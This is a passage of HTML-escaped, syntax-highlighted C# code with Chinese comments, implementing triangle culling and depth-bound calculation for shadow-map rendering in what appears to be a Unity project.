class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eisVisibleXY\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emaxZ\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 为了阴影的完整性,不应该修改 shadowMax.z\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eminZ\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCullTriangle\u003c/span\u003e\u003cspan class=\"p\"\u003e([\u003c/span\u003e\u003cspan class=\"n\"\u003eNoAlias\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangleCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTriangleData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etriangles\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003etriangleIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb000\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb001\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb010\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsPointInsideEdge\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e|=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb100\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 将在边界里的点移动到 [P0, P1, P2] 列表的前面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eswitch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003einsideInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 没有点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb000\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 有一个点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb001\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb010\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb100\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 有两个点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb011\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb101\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb110\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSwap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 所有点在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eb111\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Unreachable\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLogError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Unknown triangleInsideInfo\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eisOnePointInside\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 只有 P0 在里面\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev01\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ev02\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etri\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 